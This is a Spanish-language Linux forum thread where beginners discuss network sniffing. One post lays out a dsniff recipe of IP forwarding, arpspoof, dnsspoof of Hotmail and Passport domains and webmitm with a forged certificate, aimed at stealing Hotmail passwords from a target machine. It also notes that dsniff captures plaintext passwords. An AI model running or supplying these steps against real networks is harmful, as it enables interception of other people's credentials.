estuve buscando en  el foro.. y no veo  nada en concreto sobre los sniffers  bajo linux  o.O
mi idea  seria hacer  algo parecido al taller practico de intrusion a redes  por gospel   o.o  pero recopilatorio..  por todos los que usamos linux. y nos intersa  aprender y enseñar este tema  o.o

ojala alguien me apoye  a  poner en este  post  lo basico sobre sniff

acabo de empezar con linux ase 1 mes kisas. y  asta este momento que creo que ya solucione mis probleas xD  y ya  poseo  2 computadoras  para para ponerme a practicar un poco

los temas que me intersa   es el envenenaniemto  arp  + sniffear     para hacer  man in the middle       
tambien quiero ver como snifear una red  alambrica  formando parte de la red. pero yo inalambrico   

asi que ya empesare con este tema   y pondre mis resumenes y mis  practicas      (  esperen anciosos.. bueno kisas no tanto xD)
 y tambien si alguien kiere aportar pos el  post ya esta avierto  =)

que bien  que  tu me apoyes.. y eske si falta mover este foro.. casi no tiene temas ¬¬

estoy chekando los snifers en linux... andar probando uno y otro..  y espero poder poner algo de  informacion de lo que e aprendido este fin... ^^
solo que orita toy peliando con mi linux por que no me deja jugar ¬¬


sobre lo de snifear alambrico desde wireless  .. o.o ise un intento. pero no capturava nada de trafico... y de eso no puedo  probar orita.. asta que entre ala escuela en 1 mes mas  o.o

espero tengas suerte
=)

Usando dsniff.---Prueba para tratar de sacar contraseñas de hotmail
Estoy probando con la suite dsniff.
1. Maquina atacante-linux redhat9
2.- maquina atacada--ip_maquina_atacada
3.- Gateway--ip_gateway.

Habilito el linux para que el trafico pase por el
echo 1 > /proc/sys/net/ipv4/ip_forward
envenenamiento de tablas arp
arpspoof -t ip_maquina_atacada ip_gateway
habilito linux para hacer creer a la maquina atacada que soy el dns
dnsspoof -f archivo.hosts
el archivo hosts debe tener las ip que se supone que la maquina atacada va a tratar de acceder, en este caso hotmail.
ip_maquina_atacante  *.hotmail.com
ip_maquina_atacante *.passport.com
ip_maquina_atacante  *.passport.net

Corro webmitm -d
En este momento si no esta generado el archivo webmitm.crt empezará la creacion, este ese el certificado que se debe lanzar a la maquina atacada una vez que entre a la zona segura de hotmail.

Bueno , y aqui es donde voy, por alguna razon que desconozco, en la maquina atacada de prueba con windows xp sp2, nunca me aparece el warning advirtiendome del certificado.
Si alguien sabe por donde va la falla se lo agradeceria.

si corro dsniff -d
Si me funciona para obtener todos los passwords en texto plano.

Salu2

a mi punto de vista es mejor dsniff que ettercap debido a sus opciones

Para SXMXONE:
Trastea con aircrack-ng. (incluye airodump-ng)

ZhyZura: no soy muy amigo de los foros, la interfaz web tan llena de coloridos me horroriza (soy mas de news/mailing lists ;-) ), sin embargo, acabo de llegar a este foro, atraido por el proyecto wifislax, si un proyecto como ese ha nacido aqui... :^P y yo tambien me apunto a animar esta sección.

No me van demasiado los troyanos, pero reconozco que pueden tener su utilidad. ¿Alguien a pensado alguna vez en troyanos con clientes/servidores multiplataforma? Si, hay utilidades de control remoto no-ocultas muy buenas, como ssh, por ejemplo e incluso he llegado a ver ocultas, como una que saco XpyXT de la cual no he vuelto a saber mas, realmente no utilizo troyanos, pero es como los juegos: No juego a nada, casi nunca, (frozen-bubble y smc se salvan) pero tengo wine instalado en mi sistema con 30gb de juegos, solo para probarlos, demostrar que en linux no hay ataduras de ningun tipo y se puede hacer, supongo que me afecta bastante el concepto de linux que tiene la gente...

  Saludos ante todo, tengo tiempo ya revisando este foro y me a sorprendido mucho la info que ahi aqui, yo ya llevo mas de un mes revisando linux para ser mas preciso tengo mas preferencia por la distro ubuntu, estoy interesado en el tema de sniffer si es que pudieramos comenzar con paso po paso no soy ducho en el tema, pero revisando un poco aun tegno muchas dudas, esperando que las pueda tratar aqui saludos!!

espero los tutoriales me serian de gran ayuda amigo